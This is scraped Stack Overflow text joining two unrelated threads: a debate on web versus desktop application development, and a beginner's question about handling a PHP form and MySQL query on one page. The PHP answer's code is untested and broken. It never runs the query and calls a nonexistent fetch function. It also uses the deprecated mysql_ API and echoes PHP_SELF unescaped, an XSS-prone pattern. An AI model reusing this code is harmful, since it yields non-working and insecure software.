    You don't have to deal with different operation system versions, installed libraries, registry, COM, etc. You have different browsers to deal with, but it a lot less of a deal.

    I can't imagine deploying desktop application to 2-3 Millions of clients every month - something that is working fine with web sites.

    As far as development goes with web development you have :

    • shorter execution paths
    • less state to manage
    • you hardly have to deal with parallelism yourself
    • a lot less or none resources to manage - no OS handles

    The only disadvantage is that it usually takes more to setup development machine and debugging of web apps was harder. With the current state of tools the debugging isn't that much of a problem any more.

    So always prefer web app if it possible.

    Bryan Oakley : Given the right desktop development environment you don't have to worry about deployment either. Nor do I have to worry about the registry, COM, or installed libraries. For example, using Tcl/Tk it's possible to create a single file that has all required libraries, icons and code necessary to run. Not only that, but the same code base can trivially target Windows, the Mac and *nix. I agree, however, that deploying a desktop app to 2-3 million clients every month is tough. Though the firefox folks seem to manage pretty nicely.
    Bryan Oakley : I also want to add to your list of disadvantages that you typically will provide the end user with a less satisfactory experience. There are very, very few web apps that can compete with desktop apps for overall usability.
    BobbyShaftoe : I'm not sure what is meant by "shorter execution paths." However, how do you have less state to manage? Is it because HTTP is state-less? Ok, go build complex applications without state (web or desktop) and see how far you get. As far as dealing with parallelism .. what do you mean? You don't really get any, unless you mean a web farm or something like that. All those CPU cores and memory on the client's machine are useless to you in a web app. You still have resources to manage, just not the client's (possibly considerable) resources.
  • Desktop apps are the way to go. The current web technology (HTML, Javascript, HTTP, ...) was never designed with applications in mind. It was designed for documents. And you feel that with every line of code you write.

    amdfan : In the long run, I think the world is going to end up somewhere between the two.
  • Both kind of apps have advantages and disadvantages. for instance, web apps might need to take different browsers into consideration and getting a usable UI is harder in web than in windows forms. However, web apps do have some advantages too. the first one that pops to mind is deployment and no need to worry about different platforms (just different browsers - yes, it's harder to develop for different platforms than for different browsers).

    Bryan Oakley : re: "yes, it's harder to develop for different platforms". That isn't an absolute. If you pick the right language it's possible to write on one platform and it just runs on the others with little or no modification (and I'm not thinking just of java). Quite often it takes just as much (or as little) tweaking as it does to make a web app work in multiple browsers.
  • Most of the answers (so far, anyway) seem to focus on how easy or hard the choice will be to implement. The whole goal of an application, desktop or web based alike, is to serve the end user. That must be the starting point of the discussion.

    Web apps simply cannot provide as rich and interactive experience as a desktop app in most cases. There are just too many limitations due to available widgets, network latency, the fact your app window must (typically) live within another application and so on.

    That being said, many times interfaces don't need a large set of widgets, network latency isn't much of an issue, and running from within a browser window is an advantage. gmail and stack overflow are prime examples of web based apps that don't need a particularly rich interface.

    So, when trying to decide which technology to use first consider the user. Do they need a high performance, rich UI? Do they need to be able to effortlessly share their data with others across the net? Is this an app they'll use eight hours a day or on just a casual basis? Will they use it mostly to edit local files or to collaborate with people across a network?

    For those who say "web apps are always better", let me ask you this question: think about the tools you use every day. Your text editor, programming IDE, your browser, your email client. Which of those are web apps? Probably none, except for maybe your email client. There's a reason why you wouldn't want a web-based IDE for writing software (or writing a book, or doing serious image manipulation).

    It all boils down to the user and what their goals are. Sometimes their needs are best met with a web based UI, sometimes with a desktop UI. Sometimes either will do. Of course you also need to weigh options such as distribution and update, cross platform availability, etc. but it all starts with the user and their goals. If you are focused on satisfying your end user the answer will likely become fairly obvious.

    Miguel Ping : You provided a nice answer, but it didn't respond directly to my question. I'm specifically asking for differences, not a way of deciding if I should implement one or the other. Anyway, thanks for the good answer.
    Dimitri C. : Very nice anwer!
  • There are quite a few differences between the two which create challenges or benefits. For web applications:

    • State - HTTP requests have no state and needs to be managed by passing session variables across all requests or cookies. This is an overhead in web applications and ASP.NET has often comes under fire for huge blobs of session data.
    • Centralized - Pushing a change to a web application is as easy as updating the bits on the server versus desktop applications where patches have to be rolled out to all users. The centralized nature also makes it easier to do analytics and such. This is a big convenience. I recall GMail at one point fixed a security holes in under 4 hours. In contrast, there are still plenty of vulnerable unpatched windows machines out there.
    • Architectural - fat server, thin clients make web apps platform agnostic. It also helps in managing balance... for example table sorting, error checking, mathematical computations or graphics (in the case of flash for example) can be done on either client or server depending on allocation of resources. Because of the thin client, it means that it is possible to completely overhaul the server without affecting impacting the client at all. This level of flexibility is really convenient.
    • Security - Desktop applications run in a trusted environment where they are free to do anything where as web applications run in a sand-boxed environment which make them inherently more secure for the client. However, web applications require some amount of configuration as it pertains to certificates, activex controls and so on.
    • Versioning - The cost of versioning is much higher for desktop applications. This goes back to the more tedious process of pushing out changes. And then again, jumping major version numbers means increased revenue by way of user upgrades. In web applications, the versioning is mostly for the developers themselves and it's much easier to do small iterative enhancements. That's the reason why desktop applications still adhere to waterfall development cycle because pushing out changes is costly and you must get it the first time. Desktop applications also have the cost of backward compatibility such as supporting Windows 98, XP and Vista or supporting older processors, drivers and so on.
    • Environment - Web applications run in a predictable environment which again is very convenient. There are cross-browser development issues between IE/FF/Opera etc but it's much easier to test and debug than say running a complex application on a desktop system with varying graphics processors, anti-virus software or builds.
    • Responsiveness - Web applications have slower responsiveness because of post-backs but AJAX has made this a whole lot easier and more fun.

    I am sure there are many other points I am missing but that's my biased answer for web application development.

    Bryan Oakley : I think you make some good points but you're basing it on a lot of assumptions. For example, the whole "versioning" argument assumes you don't build in some sort of auto-update feature. Firefox seems to manage updates just fine, for example. Also, desktop apps can be "platform agnostic" if you choose the right toolkit. Just this past week I was working on a desktop app on my mac box at home. I took it to work and demoed it on my linux box. Then someone asked so I plugged my thumb drive into my windows box and it ran there, too.
    aleemb : @Bryan, these have been relatively recent shifts in the paradigm where desktop apps and internet apps are coming closer with technologies like Adobe Flex, Google Gears, RIA in general and desktop apps doing auto-updates. Even so, versioning is trivial with web apps. It happens implicitly each time you change a line of code on production. With desktop apps, those changes have to be rolled out on a monthly release cycle and then too you can't overload your users and some never end up updating.
  • It all depends:

    1. What is your developer experience?
    2. What type of application you need to do?

    And also - what you're calling web apps? Silverlight or Flash apps both can be done such way that you can use it from desktop or from browser. Ajax applications today not very different from desktop applications, but it's much harder to develop something not too simple with DHTML (even if you're taking frameworks like jQuery or even GWT).

    Assuming HTML or DHTML as a web applications:

    I've spent many years in web/ajax and desktop development and my experience is equal - I've done bunch of complex web application and desktop ones. Having good toolkit and tools for C# and enough experience I can create better desktop application than web one within same or shorter timeframe. But some type of applications CAN'T be done as desktop because it's a requirement to do them as a web apps.

    Reasons why desktop development is simplier:

    1. Language type safety, code hints
    2. Performance of code x10-1000 + performance profilers
    3. No need to check everything in all browsers
    4. Informative exceptions with stack-trace, edit and continue
    5. Ability to use multi-threading (if you know how to use it)
    6. Overall predictability and stability of code
    7. RAD tools

    For the very long time several advantages of web apps were:

    1. GUI Framework - HTML+CSS
    2. It's easier for users to start using it
    3. Content of applications can be found by search engines

    Now we all have strong GUI Frameworks like XAML for WPF/Silverlight apps. Second point can be covered by Silverlight/Flash applications (which I'm treating as desktop ones). Third one can be done for RIA, but requires some effort (same applies to ajax apps).

    If you're targeting something simple and don't know modern desktop/ria development tools and techniques that might be another good reason for developing web application. But as I've said - I hope it would be something simple.

PHP Query from a FORM

So I have a form that I post to a page and in the form I'm posting certain variables that I build one of my queries with and then call them on my page. How can I post data and also build a query and display the answer on one call?

Maybe I'm not wording it right and I'm learning this stuff, but I just don't know. Should I post to an intermediate page first?

Example: form (variables A & B) to-> page (A & B used in query) and then result is on that same page.

can this be done and what's the method?

Thanks!

From stackoverflow
  • Without specific examples it's hard to write it, but it's fairly simple.

    In a very basic way:

    File1.php:

    --your form submits to file2.php--
    

    File2.php:

    function processForm(inputs) [
      --MySql query goes here--
    ]
    
    function displayResults() [
      --Process your query results--
    ]
    
    processForm($_POST['vars']...);
    displayResults();
    

    Does that make sense? Simply make a function that processes and then displays the results again.

    If you want to get really fancy you can even do it all in a single file, but you should probably master this technique first if you are first learning.

  • This is the basic priniciple, but you must sanitize you input data from the form. For example using mysql_real_escape_string().

    But in a single page you can have code like this (it is not tested, I'm not able to on this computer):

    <?php
    
    if(isset($_POST['name']))
    {
       $query = "SELECT * FROM table WHERE firstname = '"+ mysql_real_escape_string($_POST['name']) +"'";
       while($node = mysql_fetch_rows())
       {
          echo "The result: " . $node['id'];
       }
    }
    
    ?>
    
    <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
       <input type="text" name="name" />
    </form>
    

    This will post to it self, run the query and echo the result, and show the form again.

    For small tools and the like, this is an ok approach, but for larger websites I would recommend not mixing the request handling code with the html. Look into using a framework for applying the mvc pattern or something like that.

    tharkun : a) use mysql_real_escape_string() in your answer. b) it won't work with the + for concatenation. you'll need dots. otherwise good example for actually doing it all on one page!
    asgerhallas : Your right... It's a while since I've used PHP. I have editted to reflect your comments.
    htw : Two more nitpicky things: mysql_fetch_row() doesn't return an associative array, mysql_fetch_assoc() or mysql_fetch_array() will do that. Also, those functions all take a MySQL resource as an argument. But otherwise, good answer.